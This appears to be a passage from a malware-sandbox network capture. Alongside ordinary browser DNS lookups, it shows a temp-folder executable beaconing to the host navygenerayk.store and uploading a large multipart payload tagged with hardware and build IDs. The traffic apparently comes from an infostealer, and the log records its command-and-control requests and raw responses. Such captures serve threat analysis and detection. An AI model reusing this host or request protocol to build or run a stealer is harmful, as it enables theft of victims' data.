2024-11-08 14:22:07 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 08 Nov 2024 14:22:07 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8df636a2babce7f7-DFW alt-svc: h3=":443"; ma=86400
2024-11-08 14:22:07 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 13 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	49861	172.64.41.3	443	8256	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:07 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-08 14:22:07 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-08 14:22:07 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 08 Nov 2024 14:22:07 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8df636a2bc20461a-DFW alt-svc: h3=":443"; ma=86400
2024-11-08 14:22:07 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 14 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	49864	188.114.96.3	443	7432	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:10 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 388270 Host: navygenerayk.store
2024-11-08 14:22:10 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:10 UTC	15331	OUT	Data Raw: c5 7a 1c 55 99 a7 85 c7 23 b4 be e9 be 0a 30 09 6a a6 20 8a f8 41 b5 38 13 1c 47 b1 6f 5a 1c 0b fb 7f f2 0b 80 42 00 3c 57 ea 40 80 21 6f da 73 8e 3c 76 73 66 00 82 66 12 f3 1f a3 3a 15 b5 66 d6 26 9e 15 c0 4c 92 37 df 3a f2 16 0d ad 4b 67 43 a4 90 69 d9 76 1e 21 89 bc f8 2c 22 3b 9b 46 1e 93 41 73 54 6a 71 3f 90 7b b7 3c 1d 9e b7 44 f1 72 e3 55 11 40 73 97 f5 fc 4e b0 ae 92 71 2f a5 f9 83 46 22 e6 ff 6a 07 a5 fb e5 98 ed 4c ff de d0 63 92 08 f0 b0 43 d9 1c bb 72 12 ec 0f 6b 99 4f b0 4e 1b b1 c6 af e5 b3 c0 c0 6c 37 95 69 db f9 32 f8 d7 12 9f e7 3f 53 25 af 4e 85 9c 8a 43 19 d3 e5 cc 14 67 7c 48 85 cc 78 e6 3b ae e2 42 a5 f2 67 cd 4a 0c 76 be 33 51 10 42 e3 ad 0b e4 91 57 80 07 8d a7 0e f5 78 bd b8 f0 0c dc 0c ee 12 48 23 d1 22 66 8d b2 d8 fe df f4 a8 51 Data Ascii: zU#0j A8GoZB<W@!os<vsff:f&L7:KgCiv!,";FAsTjq?{<DrU@sNq/F"jLcCrkONl7i2?S%NCg\|Hx;BgJv3QBWxH#"fQ
2024-11-08 14:22:10 UTC	15331	OUT	Data Raw: dc 8c 6b 0e 83 11 90 ea ac 02 fa e5 6d 80 ed a6 21 e0 80 53 3c 02 1a 3c 88 f4 a6 c2 86 a9 1b 7d ce 96 0c 87 38 82 0e e7 09 6b e4 d8 89 c7 cd 3e 5f 3f df e6 a2 42 af 11 7c b2 29 d7 4f be 62 a1 01 0c 26 2c 12 e8 92 fb 28 29 28 b7 a4 33 d9 88 a5 67 59 bf 0e 96 af 23 35 af 07 01 13 16 f4 17 0c f8 16 b3 8c 73 88 62 1c 78 2a cc 4c 3e 44 5f 3e da 56 3c 34 99 73 13 cb 9c 24 cf c1 34 91 fc 9a 1a 7e 1a 7e f2 6b 7c 46 27 e3 4d d7 6a 59 aa 92 3b 82 e3 3c 69 af 66 06 bf 4a af 9f 7f 86 a3 7c 98 8e 2c 2b ba 59 6b 23 26 c7 20 a7 68 1d d8 26 61 c2 2d 28 9a 40 24 bc 98 e3 7c 89 98 ae 64 ea fa 76 25 dd 92 e9 5d f3 40 e1 98 e7 ad 0a 10 ff 92 e9 97 cb ce 82 87 40 21 c8 7c df 7d 67 4b 09 f2 94 dc 47 0e ac 1a 37 f8 72 6c 7f ac e4 d2 e1 92 f5 42 93 07 e4 5b 09 1e 38 70 5e da 6d Data Ascii: km!S<<}8k>_?B\|)Ob&,()(3gY#5sbx*L>D_>V<4s$4~~k\|F'MjY;<ifJ\|,+Yk#& h&a-(@$\|dv%]@@!\|}gKG7rlB[8p^m
2024-11-08 14:22:10 UTC	15331	OUT	Data Raw: 0d c4 fc 40 97 e9 31 56 d8 db d4 70 6b d0 71 cc db c0 81 b9 8d 92 dc 58 23 e5 0b b9 42 a5 63 c3 23 83 c2 71 60 38 ff d3 dd f5 7e 6d 03 1c 23 07 70 61 c4 c4 ed 78 32 b7 93 f0 8b 9d c2 12 c3 14 aa fb f4 84 79 5e f4 35 7b e3 f8 b7 63 05 5a ac 6d bf 92 b1 e7 bc 43 75 cf 38 ee 79 e5 e4 d1 5e b9 3d 1e c0 45 38 78 f3 21 2d 20 b6 52 db 26 eb 01 55 3c 92 49 5c ae 9f 99 f2 9f 12 b8 42 b2 c6 97 3b e3 17 48 ea 9d 7e 54 91 ad 59 37 65 c1 be ad 0e 89 91 c0 1a 04 fe 76 fd e5 dc ad 57 77 fd d2 c2 b8 c4 b0 6d 8d 33 e2 36 e1 b7 fb 39 9a 89 56 6f 4a 36 b7 b8 e9 a1 75 54 0f 7c 5b 1f a3 76 67 cd 2e 51 06 32 06 37 09 a3 ec f1 9e b4 8a 60 cd 07 c9 b1 de aa 65 1b 1a e4 44 ec 42 14 59 c1 3b cb 13 67 87 f5 84 4f e4 81 97 cd 84 4a 8a 33 47 b0 42 e5 12 3d 79 ac d3 e9 f3 0d 67 a8 0c Data Ascii: @1VpkqX#Bc#q`8~m#pax2y^5{cZmCu8y^=E8x!- R&U<I\B;H~TY7evWwm369VoJ6uT\|[vg.Q27`eDBY;gOJ3GB=yg
2024-11-08 14:22:10 UTC	15331	OUT	Data Raw: 42 a3 95 14 ad c7 ad 8d 2f 0b 8a b2 f5 3d e0 19 e5 88 22 3d d0 6f 8d f9 26 e3 67 ec a4 db 86 63 8c 22 fb a7 d7 9d 6f 67 60 7c 47 68 87 4e 37 52 1c a3 54 af 05 51 95 07 e6 1f 91 03 3b 18 28 28 2a e2 04 e8 b3 9d 56 cb 9d fe a6 a6 56 7c e8 8f e1 7f 7b ec 25 fe 6b ef c5 7f 6f 7e 44 bc 00 a2 bc fe 65 90 91 2d 96 d5 0d f1 55 ea 67 7e fd 51 0a 0f e1 ca 26 26 ef 29 90 3e d5 5a 7d 94 3f 81 e8 6b 61 b6 5b f4 52 3f ef 62 f7 af cc 3f a1 d4 2a d4 df 3c da 0c ec 17 8a 7a d9 1a 1e 31 43 d6 f6 b8 4d 94 e1 36 f1 6e 10 1c 27 ab 6c 72 22 e6 c6 34 77 67 69 de 2c 81 67 ae a5 ff a7 93 c3 f7 0d 8e 53 3a 0a 40 f8 5c f8 ad 13 ca 06 8f c5 64 28 af 74 ff 70 2a 29 78 19 69 4b a0 b4 62 44 28 79 c0 2a 4e 84 09 80 69 4b e1 7f 81 de 5e e1 82 a5 3b 38 ff be b7 c0 79 e6 f2 1f 0a 80 dc 76 Data Ascii: B/="=o&gc"og`\|GhN7RTQ;((VV\|{%ko~De-Ug~Q&&)>Z}?ka[R?b?<z1CM6n'lr"4wgi,gS:@\d(tp)xiKbD(yNiK^;8yv
2024-11-08 14:22:10 UTC	15331	OUT	Data Raw: 3f 68 ff f2 3e cd 21 cd e3 3e 7c e4 a6 f3 49 0a bf 04 5f 90 38 5a 87 99 38 35 b6 d7 a9 f7 f5 93 4c 75 28 4a 22 56 92 5b 37 db d8 6f 4e 95 5a ca 69 99 52 d1 50 a2 65 60 68 b0 fc 70 95 b4 ba 3e 65 de 77 eb 2d 3a a0 eb ad 2b 23 53 e0 fa 06 3d 23 3d ce 1f 13 dc 92 59 9f 59 11 ba bc c7 1b fa fb c9 3b 1b d8 b0 c3 47 1f 85 f1 0f 4e 71 c1 b0 42 ce 8d 8a 36 af ca fe 58 e2 b3 03 5e 5a 25 f1 9a b2 3a a7 75 35 51 6c 4f 69 4f 61 94 9c a8 c1 3f cb 60 7a 2b 50 86 d8 96 36 eb 28 b1 a2 00 f8 a9 40 d0 8f 17 5e da ea 83 82 8f a2 2c eb ea e7 02 0f b8 57 06 9e a5 af 13 38 0c 56 c9 ff d4 3d ed b9 2a 44 e0 55 9a 00 e0 4c 57 12 c9 6c 17 bf 66 48 07 32 da 29 e4 0d 17 4f 6e 31 7e ec a1 c7 a5 57 a7 ce 07 6a 69 32 ec c3 61 ab 96 82 d8 67 8c 9d a9 9c 77 3d 17 5e 06 c5 a2 d2 c4 42 b3 Data Ascii: ?h>!>\|I_8Z85Lu(J"V[7oNZiRPe`hp>ew-:+#S=#=YY;GNqB6X^Z%:u5QlOiOa?`z+P6(@^,W8V=*DULWlfH2)On1~Wji2agw=^B
2024-11-08 14:22:10 UTC	15331	OUT	Data Raw: cf 6a e2 4b 12 ae 9a 5d d1 59 e9 4c 7a bd 1b 59 95 00 bc ee 53 ca 29 b5 99 c3 06 f2 81 5f b4 6b 59 2e 71 df 89 ad f1 b9 dd 6b 39 19 43 09 53 37 b9 34 db a2 bb ed 0b 12 ba ce 5f 88 cd 02 c9 6b 2e 4f a4 2c 87 75 d9 96 49 b5 99 ea a2 4d 1f c8 de dc 48 c1 3c 6e 33 85 0d f4 3c 85 ca d3 8d c4 d7 a7 a4 87 7e bd 9e 78 fc 36 08 5b 63 91 68 c9 1e 84 2d ef d2 86 5d 5e 48 94 62 18 3f 2c ac 0d 13 e5 d1 ca bc 55 eb d9 04 27 1d 62 9a 9f 7c 12 d0 60 5f 2d 08 6e 2e 2c 1d de 2b e2 27 39 a5 85 10 25 21 75 6c 38 68 03 1e 81 d0 5a ee 5d cf 0d da 99 72 23 fd 68 fa 76 b9 0e ba 6c d6 94 f8 17 a2 2f 84 bb f8 1f 4d e6 f3 bb 38 f1 43 fa c7 65 04 64 f9 2c fe 94 dc b3 34 7d cc 0a 35 13 35 4f 36 d2 bd 54 96 0a 2f 10 2d 7f 2c 0e ed b2 be 0e 17 36 a6 db 78 73 d7 a4 b3 f9 fa 82 13 fb ae Data Ascii: jK]YLzYS)_kY.qk9CS74_k.O,uIMH<n3<~x6[ch-]^Hb?,U'b\|`_-n.,+'9%!ul8hZ]r#hvl/M8Ced,4}55O6T/-,6xs
2024-11-08 14:22:10 UTC	15331	OUT	Data Raw: d6 d0 ef 54 a3 79 82 3e 22 7a d4 f0 a0 e4 89 18 ea 01 29 65 c3 84 41 9c 51 54 c0 6e 90 17 33 9d 55 7a 57 9f aa c4 0d 3a c8 8d 7b 12 a6 83 4d 10 e4 9b 4b 12 37 df d4 08 4a 32 99 25 b9 99 8d e6 b0 42 90 fe f4 40 95 1a ef 90 c7 a5 4f a8 b0 a9 f7 b4 9a cb 0f bb c4 e5 00 fb 45 4d f7 92 11 38 10 02 a7 0b 5b f4 4e cd 76 db a9 34 97 a2 30 fe 9f 69 34 df ef b7 4d a4 6b 62 3f 74 d9 bc 85 4e 4f 32 24 6d 75 f0 4d ca cb 53 2a 73 73 e7 3f 46 07 0b b1 69 da e4 34 9a c7 f3 f0 c9 d0 ba 2a fb 51 b7 77 59 a1 53 55 5f 0b 1f f4 ae 8d f2 5e 56 a2 6c f3 8f ee 7c 0f da 6f d3 c6 48 b2 f2 cd f3 c1 f9 43 89 c9 80 e0 b9 01 7d 43 39 03 7f 76 96 37 91 06 e4 3e 14 0f 43 27 ff 55 95 3d b0 e9 fe d7 0b be dd ba 97 35 5f 98 d2 7a 79 6a c4 de bf d0 58 d7 55 62 77 78 dc 4f ff 03 2e 67 d7 52 Data Ascii: Ty>"z)eAQTn3UzW:{MK7J2%B@OEM8[Nv40i4Mkb?tNO2$muMSss?Fi4QwYSU_^Vl\|oHC}C9v7>C'U=5_zyjXUbwxO.gR
2024-11-08 14:22:10 UTC	15331	OUT	Data Raw: 4f 3b 28 63 90 b8 4e 4d e1 55 20 25 a3 1e e6 5d db 8a 1b 5e f9 f4 10 33 d0 cb 7d 71 e9 57 da 56 28 fa f5 22 a0 a5 34 79 6f 7e de 34 7d 92 18 6c cd 10 d9 d8 8b af d9 52 ee 44 9b 32 6f 0c bf d4 cd e1 c1 0a ac e3 59 f8 50 f5 32 7a 67 50 52 f0 b5 ef 8c d9 9b 68 e6 4f bf de c6 3a f8 32 9b 2a a6 90 39 65 bf 4d 33 da 2c 79 29 00 6a cc 00 4c b4 81 da 6f 89 4a 4a 46 84 df 51 61 e5 90 fe cd 14 54 42 6f 67 4d 8c 68 31 21 c2 b8 8f b4 60 4b 5a 3f 34 90 62 2f b0 87 8f 54 ee 44 a6 69 03 5c b0 d1 f1 96 c7 0e bd a3 8e bc 9f 78 49 68 37 56 aa 43 15 6f e3 4e 3f c0 4f b6 3d 6a 60 90 67 c0 fa f9 e3 fb 94 f4 cf dd 13 09 49 ec 60 47 05 b6 82 d7 35 33 33 f3 2f 65 dd 95 a6 68 23 fd b2 2c b1 53 71 e0 9e 89 74 29 25 5b 6b 38 bb 2c bc 41 e1 f8 fa 24 cc 7c 61 d6 e8 8e 3c c5 03 1d 18 Data Ascii: O;(cNMU %]^3}qWV("4yo~4}lRD2oYP2zgPRhO:2*9eM3,y)jLoJJFQaTBogMh1!`KZ?4b/TDi\xIh7VCoN?O=j`gI`G533/eh#,Sqt)%[k8,A$\|a<
2024-11-08 14:22:10 UTC	15331	OUT	Data Raw: c2 ba ec 0a a5 ba a6 71 82 9e 66 e0 19 56 46 73 e4 8a 98 97 a1 9b 41 a4 18 d8 8f 8c a0 75 81 62 8a 9b ed a1 e7 95 b3 17 6b 4a c5 73 ac 5b 11 14 21 c1 a7 dd 42 70 9e 18 81 c1 1f 60 a5 bb 83 cd f9 ed 77 a2 fd af ae 46 49 47 12 a3 bf c7 83 df bb 8b 4c b2 db a2 81 f6 68 44 1b 52 03 af eb 85 04 bc c0 1b 65 95 f7 64 f8 35 72 17 5c 6b 86 ba db b2 15 87 c6 90 7a d8 b1 45 05 6e 38 e7 1d ba 76 1c d5 62 ee 61 b2 b8 1b f5 83 c1 63 89 cf 9f fc 6e 12 65 e3 6b 2c 6b bb 45 42 fc 62 07 21 44 13 17 08 41 83 5d b2 33 12 7f a2 5d 7e 8b 44 15 39 c5 2a ce 70 90 12 ca 45 5a 4a b7 5f 75 19 5a 7f 6b 56 5c 62 d6 fb 82 54 b3 1e 12 41 ae cb c7 d2 63 04 29 3e 93 4c 5a 4c cf 13 d0 e1 91 35 64 11 c2 c7 db 35 38 9c 5b 8e d4 c6 ec 7a 7c fa 7c bd a8 eb 93 fd 6f 79 2f e2 f1 a9 ee bc 38 3f Data Ascii: qfVFsAubkJs[!Bp`wFIGLhDRed5r\kzEn8vbacnek,kEBb!DA]3]~D9*pEZJ_uZkV\bTAc)>LZL5d58[z\|\|oy/8?
2024-11-08 14:22:13 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q9b9gqk2f4gt416ab674p9n0h4; expires=Tue, 04-Mar-2025 08:08:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MttiePVTWtblOan1bprCeDayHHbJoTOwyoh10Sp0Ru3tMbi20TSATuDO%2By5opWzGS8S%2B83v8yLUMOH9zLqhLyyP2WGiZPkVwd3UEY5cEZiSRAkYkOSGJ8qMwT5hoVBBawcHcq3I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df636b1d8454614-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1229&sent=160&recv=429&lost=0&retrans=0&sent_bytes=2845&recv_bytes=390291&delivery_rate=2086455&cwnd=32&unsent_bytes=0&cid=9d821ddd46cfa2bf&ts=3985&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.8	49865	188.114.96.3	443	2764	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:10 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: navygenerayk.store
2024-11-08 14:22:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-08 14:22:11 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r627pis1b9mb414em6rd94vfju; expires=Tue, 04-Mar-2025 08:08:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OZrOB75Pids3KbZUPoA7TCnDXJCWJOzcJDtZJLvL8pgmVPKMmeo1IjTsieuw6HGoiTlt0ldURb8e%2BmhFXmx07CPjvesG7KkW7cBTn7KARYdu%2F1X1Ca%2BDRNIuDhT7Oqa5PwRYJ20%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df636b45e446b38-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1851&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1613370&cwnd=251&unsent_bytes=0&cid=c24bcf6fcf22333d&ts=536&x=0"
2024-11-08 14:22:11 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-08 14:22:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.8	49867	188.114.96.3	443	2764	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:11 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: navygenerayk.store
2024-11-08 14:22:11 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-08 14:22:12 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6tfg4vc78cv35cab1c76ovplht; expires=Tue, 04-Mar-2025 08:08:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=to4hAiw0%2BtGhk7Uh5AQ1vGkzMwsJ51%2Fsm41yeZc6umevX9mi7p8tZZYyz4%2BzA1wEZL%2F5oZ99i08CPCaZqr%2BpT2IHNIj%2Ff24e%2FTtAWJyzsWFuCA3PztwFaGW89%2BN7tC3CIrp%2Fu1o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df636bbedf3e98f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2088&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1370563&cwnd=40&unsent_bytes=0&cid=6e6671cff7cb18df&ts=502&x=0"
2024-11-08 14:22:12 UTC	345	IN	Data Raw: 34 64 61 0d 0a 38 43 31 65 46 4e 47 46 4d 36 71 46 52 4e 41 6f 43 6f 75 31 51 79 59 71 6e 43 51 4e 63 39 5a 4f 4d 35 68 36 45 71 62 33 37 43 69 4c 44 79 67 32 36 37 45 66 69 50 59 68 38 68 4a 2b 2b 63 41 6d 43 67 6a 39 51 43 39 4a 73 43 39 66 36 78 38 2b 68 49 47 42 43 73 70 4c 50 33 69 69 34 42 2b 49 34 44 7a 79 45 6c 48 77 6c 79 5a 49 43 4b 59 47 61 42 6d 30 4c 31 2f 36 47 33 6e 4a 68 34 42 4c 6d 45 45 35 66 4c 54 6d 56 38 76 70 4b 62 56 4e 62 2b 72 66 4c 55 39 48 39 45 6b 76 58 2f 51 72 53 62 70 41 4d 4f 75 53 6d 45 6d 39 54 43 31 2f 38 2f 67 66 30 61 63 68 76 67 6f 77 71 64 51 6d 52 45 62 36 51 47 59 62 76 69 5a 58 2b 78 35 34 31 70 36 4b 51 4a 68 50 4f 6e 32 2b 37 30 50 47 34 79 36 2b 53 32 58 71 6c 32 38 45 54 2b 59 47 4e 31 48 6e 48 6c 4c 72 43 57 Data Ascii: 4da8C1eFNGFM6qFRNAoCou1QyYqnCQNc9ZOM5h6Eqb37CiLDyg267EfiPYh8hJ++cAmCgj9QC9JsC9f6x8+hIGBCspLP3ii4B+I4DzyElHwlyZICKYGaBm0L1/6G3nJh4BLmEE5fLTmV8vpKbVNb+rfLU9H9EkvX/QrSbpAMOuSmEm9TC1/8/gf0achvgowqdQmREb6QGYbviZX+x541p6KQJhPOn2+70PG4y6+S2Xql28ET+YGN1HnHlLrCW
2024-11-08 14:22:12 UTC	904	IN	Data Raw: 43 73 6f 50 4f 6e 69 79 36 6c 48 61 37 79 32 35 54 33 72 69 33 69 78 4a 53 50 4e 4d 59 42 4b 30 4b 31 76 77 46 33 72 41 6d 49 4e 4d 6b 6b 39 38 4f 50 50 67 53 59 69 2f 5a 70 46 50 65 4f 37 62 4e 77 5a 79 76 6c 6b 68 43 50 51 72 58 62 70 41 4d 4d 79 51 6a 55 6d 5a 51 44 39 2b 75 50 56 52 32 75 45 72 74 31 68 75 37 4e 6b 72 52 31 72 30 53 47 6b 53 76 53 64 59 2f 78 39 30 68 4e 76 4f 54 59 6f 50 5a 44 61 53 36 6c 72 45 37 54 47 79 43 6e 65 6e 7a 6d 46 44 52 4c 34 65 4c 78 57 31 4b 46 44 2b 46 6e 37 41 6d 59 68 45 6e 30 41 36 66 4c 50 67 57 38 44 76 4a 37 39 42 5a 2b 6e 53 4c 45 42 4f 38 6b 64 71 55 66 70 73 56 75 4a 59 4b 49 53 37 69 55 6d 41 44 51 6c 31 76 65 6c 57 33 71 63 35 2f 46 4d 6f 37 74 74 68 48 41 6a 77 51 32 41 44 74 54 35 55 39 41 70 38 77 5a 4f Data Ascii: CsoPOniy6lHa7y25T3ri3ixJSPNMYBK0K1vwF3rAmINMkk98OPPgSYi/ZpFPeO7bNwZyvlkhCPQrXbpAMMyQjUmZQD9+uPVR2uErt1hu7NkrR1r0SGkSvSdY/x90hNvOTYoPZDaS6lrE7TGyCnenzmFDRL4eLxW1KFD+Fn7AmYhEn0A6fLPgW8DvJ79BZ+nSLEBO8kdqUfpsVuJYKIS7iUmADQl1velW3qc5/FMo7tthHAjwQ2ADtT5U9Ap8wZO
2024-11-08 14:22:12 UTC	1369	IN	Data Raw: 31 38 39 62 0d 0a 4b 33 36 6c 37 42 37 69 2b 67 51 47 54 6e 78 53 78 4f 54 66 42 4b 61 68 36 30 4c 56 44 30 45 6e 75 45 32 38 35 4e 69 67 39 6b 4e 70 7a 71 51 64 72 74 4c 61 4d 49 58 65 72 5a 4c 30 4e 65 76 6c 6b 68 43 50 51 72 58 62 70 41 4d 4d 2b 54 67 6b 61 53 53 53 35 34 76 50 56 62 32 75 4d 6f 74 6b 5a 6d 34 4e 6f 75 51 56 72 36 52 6e 30 51 73 53 74 66 39 77 70 31 68 4e 76 4f 54 59 6f 50 5a 44 61 4a 30 31 62 59 39 69 48 77 66 32 76 6e 32 53 5a 53 43 4f 45 49 64 6c 47 7a 49 42 47 69 57 48 50 49 6d 49 64 50 6e 56 30 32 65 72 4c 31 56 73 48 75 4c 4c 4e 45 5a 2b 4c 62 4a 46 5a 44 38 55 35 67 45 4c 6b 68 57 76 34 59 4d 49 72 56 